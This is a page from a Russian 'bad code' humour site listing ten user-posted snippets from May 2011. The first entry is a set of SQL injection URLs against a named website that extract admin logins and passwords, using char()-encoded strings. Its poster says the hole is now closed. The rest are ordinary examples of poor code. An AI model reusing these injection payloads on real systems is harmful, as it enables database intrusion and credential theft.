1. SQL / Говнокод #6638

    −108

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users  limit 1),3,(select login from sydney_users limit 1),5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(show tables),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like "adm" limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,4,5,6,7,8,9,10,11,12,13  --
    
    http://sydneymigrationspecialists.com/publication/modules/bill/pay.php?id=1 union select 1,(select password from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37))) limit 1),3,(select login from sydney_users where login like (select concat(char(37),char(97),char(100),char(109),char(105),char(110),char(37)))limit 1),5,6,7,8,9,10,11,12,13  --

    Собственно говоря вспомнил лихие времена.
    Говнокод имел место быть в пхп. Дыра ныне закрыта (не без моей помощи).

    ursus, 12 Мая 2011

    Комментарии (7)
  2. PHP / Говнокод #6637

    +158

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    if (условие)
     echo 'FILE TO DELETE '.$file;
    }
    
    // затем делается
    
    if(условие)
     echo 'FILE TO DELETE '.$file;
     unlink($file);
    }

    ...и после запуска заметить, что скобочка закрывает не этот иф.

    hdkeeper, 12 Мая 2011

    Комментарии (10)
  3. Си / Говнокод #6636

    +146

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    char* a(int pos, char* path)
    { 
        FILE *dbf;
          char value; 
          int i,j,k,l,m,n,o,p,r;
          int numrecs, recnum; 
          Record rec;
          char aa[158];
          char *pp;
          int ln, lp, lc, le, lw, li, ls, lph, lf;    
    
          numrecs = rec.length; 
          recnum = pos;
        dbf = OpenDB(path, &rec);
        ReadRecord(dbf, recnum, &rec);    
        
            ln = strlen(rec.name);
            ls = strlen(rec.surname);
            lp = strlen(rec.patronymic);
            lph = strlen(rec.phone);
            lc = strlen(rec.city);
            le = strlen(rec.edu);
            lw = strlen(rec.work);
            li = strlen(rec.interests);
            lf = strlen(rec.friends);
    
            itoa(recnum, &(aa[0]), 10);
            for (i = 1; i < ln; i++)
                aa[i] = rec.name[i-1];
            for (j = 0; j < ls; j++)
                aa[i+j] = rec.surname[j];
            for (k = 0; k < lp; k++)
                aa[i+j+k] = rec.patronymic[k];
            for (l = 0; l < lph; l++)
                aa[i+j+k+l] = rec.phone[l];
            for (m = 0; m < lc; m++)
                aa[i+j+k+l+m] = rec.city[m];
            for (n = 0; n < le; n++)
                aa[i+j+k+l+m+n] = rec.edu[n];
            for (o = 0; o < lw; o++)
                aa[i+j+k+l+m+n+o] = rec.work[o];
            for (p = 0; p < li; p++)
                aa[i+j+k+l+m+n+o+p] = rec.interests[p];
            for (r = 0; r < lf; r++)
                aa[i+j+k+l+m+n+o+p+r] = rec.friends[r];
    
        pp = strdup(aa);  
        return pp;
    }

    dotnetdeveloper, 12 Мая 2011

    Комментарии (20)
  4. C++ / Говнокод #6635

    +165

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    // header
    
        struct TMWFeatureSet
        {        
            TMWFeatureSet();
            ~TMWFeatureSet();
            
            enum TFeatureSetBitMask
            {
                EBackUpBitMask = 1, 
                ERestoreBitMask = 1 << 1, 
                EWipeBitMask = 1 << 2, 
                ELockBitMask = 1 << 3, 
                ELocateBitMask = 1 << 4, 
                EMessageBitMask = 1 << 5, 
                EScreamBitMask = 1 << 6, 
                EPrintBitMask = 1 << 7, 
                EShareBitMask = 1 << 8
            };
            
            enum TFeatureSet
            {
                EBackUp = 0, 
                ERestore, 
                EWipe, 
                ELock, 
                ELocate, 
                EMessage, 
                EScream,
                EPrint, 
                EShare,
                         
                ECount
            };
            
            
            void SetFeatureAttr( TInt iIndex, TBool aValue );
            
            void Reset( void );
             
            void ExternalizeL( RWriteStream & aOutputStream );
            
            void InternalizeL( RReadStream & aInputStream );
            
            RArray<TFeatureSetBitMask> iBitMasks;
            
            TFixedArray<TBool,ECount> iFeatureSetArr;       
        };        
    
    // implementation
    
        TMWFeatureSet::TMWFeatureSet()
        {
            iBitMasks.Append( EBackUpBitMask );
            iBitMasks.Append( ERestoreBitMask );
            iBitMasks.Append( EWipeBitMask );
            iBitMasks.Append( ELockBitMask );
            iBitMasks.Append( ELocateBitMask );
            iBitMasks.Append( EMessageBitMask );
            iBitMasks.Append( EScreamBitMask );
            iBitMasks.Append( EPrintBitMask );
            iBitMasks.Append( EShareBitMask );         
        }
        
        TMWFeatureSet::~TMWFeatureSet()
        {
            iBitMasks.Close();
        }
        
        void TMWFeatureSet::SetFeatureAttr( TInt iIndex, TBool aValue )
        {
            iFeatureSetArr[ iIndex ] = aValue;
        }
    
        void TMWFeatureSet::Reset( void )
        {
            for( TInt i = ( TInt ) TMWFeatureSet::EBackUp; i < ( TInt ) TMWFeatureSet::ECount; i++ )
            {
                SetFeatureAttr( i, EFalse );
            }
        }
    
        void TMWFeatureSet::ExternalizeL( RWriteStream & aOutputStream )
        {
            for( TInt i = ( TInt ) TMWFeatureSet::EBackUp; i < ( TInt ) TMWFeatureSet::ECount; i++ )
            {
                aOutputStream.WriteUint8L((TUint)iFeatureSetArr[ i ]);
            }
        }
    
        void TMWFeatureSet::InternalizeL( RReadStream & aInputStream )
        {
            for( TInt i = ( TInt ) TMWFeatureSet::EBackUp; i < ( TInt ) TMWFeatureSet::ECount; i++ )
            {
                iFeatureSetArr[ i ] = (TBool) aInputStream.ReadUint8L();
            }
        }

    Это реализация битовой маски и по шаблону Simpleton: реализация простейшей функциональности самым сложным способом известным разработчику.
    По идее надо было как то так:
    int mask;
    .....
    bool IsFeatureAvailable( feature )
    {
    return ( ( mask & feature ) == feature );
    }

    zurg, 12 Мая 2011

    Комментарии (58)
  5. C# / Говнокод #6634

    +119

    1. 1
    2. 2
    3. 3
    4. 4
    foreach (var list in Distances.ConvertToList())
    {
         dt.Rows.Add(ConvertToObject(list.ToArray()));
    }

    dotnetdeveloper, 12 Мая 2011

    Комментарии (10)
  6. C# / Говнокод #6633

    +122

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    var rl2 = _vf.AddNewRouteLine(BusStation.Instance.GetRoute(
    BusStation.Instance.FindSettlement(БарановичиcheckBox6.Content.ToString()),
    BusStation.Instance.FindSettlement(БобруйскcheckBox17.Content.ToString()))[0],
    БарановичиcheckBox6, БобруйскcheckBox17, Upd);
    canvas1.Children.Add(rl2.Line);

    dotnetdeveloper, 12 Мая 2011

    Комментарии (7)
  7. C# / Говнокод #6632

    +116

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    IList<Hashtable> records = crit.List<Hashtable>();
    Guid[] personsId = records.Select(item => (Guid)item["PersonID"]).Distinct().ToArray();
    List<EmployeeData> empDatas = new List<EmployeeData>();
    
    foreach(Guid personId in personsId) {
    	IEnumerable<Hashtable> employeeRecords = records.Where(item => (Guid)item["PersonID"] == personId);
    	Hashtable employeeRecord = employeeRecords.FirstOrDefault(item => !(bool)item["IsLoad"] || (DateTime)item["EventDate"] == employeeRecords.Max(unit => (DateTime)unit["EventDate"]));
    
    	Hashtable employeeRecordAddition = new GenericNHibernateDao<BaseDocument>().CreateCriteria()
    		.CreateAlias("Department", "department")
    		.CreateAlias("Employee", "employee")
    		.CreateAlias("WorkDescription.Schedule", "schedule", JoinType.LeftOuterJoin)
    		.CreateAlias("WorkDescription.EmployeeApperance", "employeeApperance", JoinType.LeftOuterJoin)
    		.Add(Restrictions.Eq("EmployeeStamp.TabNo", employeeRecord["TabNo"]))
    		.Add(Restrictions.Eq("IsHalf", false))
    	...
    }

    No comments %)

    Guid, 12 Мая 2011

    Комментарии (5)
  8. bash / Говнокод #6631

    −133

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    #!/bin/bash
    
    cat -b $1 > file.txt
    sed -e 's/^/<br>/g' -i file.txt
    curl --data-urlencode [email protected] netelis.hmsite.net/upload.php | head -n1

    Аналог wgetpaste

    AliceGoth, 11 Мая 2011

    Комментарии (12)
  9. C# / Говнокод #6630

    +120

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    private string GetConnectionString() 
        { 
          string connString = String.Empty; 
          string location = Assembly.GetExecutingAssembly().Location; 
          int pos = location.LastIndexOf('\\'); 
          location = location.Remove(pos); 
          pos = location.LastIndexOf('\\'); 
          location = location.Remove(pos); 
          pos = location.LastIndexOf('\\'); 
          location = location.Remove(pos); 
          location += @"\server\conf\config.conf"; 
          using (StreamReader sr = File.OpenText(location)) 
          { 
            string s = ""; 
            while ((s = sr.ReadLine()) != null) 
            { 
              connString += s; 
            } 
          } 
          connString += "database = ***; charset = utf8;"; 
          return connString; 
        }

    mahalex, 11 Мая 2011

    Комментарии (4)
  10. PHP / Говнокод #6629

    +163

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    function shab()
    {
      global $title;                            
      global $description;
      global $keywords;
      global $content;                                         
      global $patch;
      global $page_names;
      global $pn;
      global $id;
      include_once $patch.'/head.php'; // почему-то вспомнился логотип башоргру cat /dev/ass > /dev/head
      echo $title.'</title>'."\n";
      echo '<meta name="description" content="'.$description.'">'."\n";
      echo '<meta name="keywords" content="'.$keywords.'">'."\n";
      include_once $patch.'/shapka.php'; // wtf!?
      echo $content."<br>\n";
      if(in_array($pn,$page_names))
      {                                   
          include $patch.'/form.php';
      }
      $ua=mysql_real_escape_string(trim($_SERVER['HTTP_USER_AGENT']));
      $ip=mysql_real_escape_string(trim($_SERVER['REMOTE_ADDR'])); // вебкил не пройдет
      mysql_query("update content set views=views+1 where id='$id'");
      mysql_query("insert into views_content set id='$id', ip='$ip', t=NOW() + INTERVAL 1 HOUR, d=NOW() + INTERVAL 1 HOUR, ua='$ua'");
      $q=mysql_query("select views,t,d from content where id='$id'");
      while($r=mysql_fetch_array($q))
      {
         echo '<br><span style="font-color:#808080; font-size:8pt; float:right;">Просмотров: '.$r['views'].'<br>
         '.$r['d'].'<font color="#ca3200"> / </font>'.$r['t']."<br>\n"; //d и t это дата и время кто не понял :D	
      } 
      echo '<a style="font-color:#ca3200; font-size:10pt;" href="index.php">все статьи</a></span>';
      include_once $patch.'/footer.php';
    }

    это вам не смарти, тут всё просто и понятно, а главное быстро. shab() и дело в шляпе.

    GoodTalkBot, 11 Мая 2011

    Комментарии (16)